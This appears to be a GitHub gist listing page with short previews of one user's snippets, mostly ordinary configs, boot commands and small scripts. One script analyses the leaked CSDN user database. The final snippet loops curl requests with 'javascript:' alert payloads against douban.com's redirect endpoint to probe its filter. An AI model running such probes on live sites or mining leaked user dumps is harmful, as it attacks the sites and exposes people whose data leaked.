This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# author Kelvin Pan <[email protected]> | |
# 04/29/2012 17:13 | |
from operator import itemgetter | |
DATA_FILE='/tmp/www.csdn.net.sql' | |
TEST_DATA_FILE='./test.txt' | |
def cleaned_line(eachline): | |
email_domain_name = eachline.strip().split()[-1].split('@')[-1].replace('___csdn_1','').lower() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
config.py | |
*.pyc | |
*.swp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//父类 | |
public class Base { | |
public static String who = "Mr. Base"; | |
Base(){ | |
} | |
static { | |
System. out.println("static block in Base" ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdir /win | |
mkdir -p /dev/disk/by-label | |
mount -r -t ntfs /dev/sda1 /win | |
modprobe loop | |
losetup /dev/loop6 /win/archlinux-2011.08.19-core-i686.iso | |
ln -s /dev/loop6 /dev/disk/by-label/ARCH_201108 | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[boot loader] | |
[operating systems] | |
c:\grldr.mbr="Grub4Dos" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set encoding=utf8 | |
set langmenu=zh_CN.UTF-8 | |
set imcmdline | |
source $VIMRUNTIME/delmenu.vim | |
source $VIMRUNTIME/menu.vim |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pty "pptp 10.1.222.100 --nolaunchpppd" | |
noauth name "login_user" | |
remotename "PPTP_SERVER_FOO " | |
file /etc/ppp/options.pptp | |
#下面这行当服务端启动require-mppe-128时才用 | |
require-mppe-128 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python | |
# -*- coding:utf-8 -*- | |
# a script sync. wordbook from youdao dict to anki | |
import sys | |
import hashlib,time | |
import httplib, urllib2, cookielib | |
from xml.dom.minidom import parse, parseString | |
class Youdao: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Shell | |
rm -rf xxx.txt | |
for i in `seq 300` | |
do | |
curl -A "Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" -H "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" "http://www.douban.com/link2?type=recurl&url=//javascript%""$i""alert('hhh')""')" | |
echo " $i" | |
done | |
# Result | |
Your browser should have redirected you to http://javascriptlert('hhh')') 1 | |
Your browser should have redirected you to http://javascript*lert('hhh')') 2 |
OlderNewer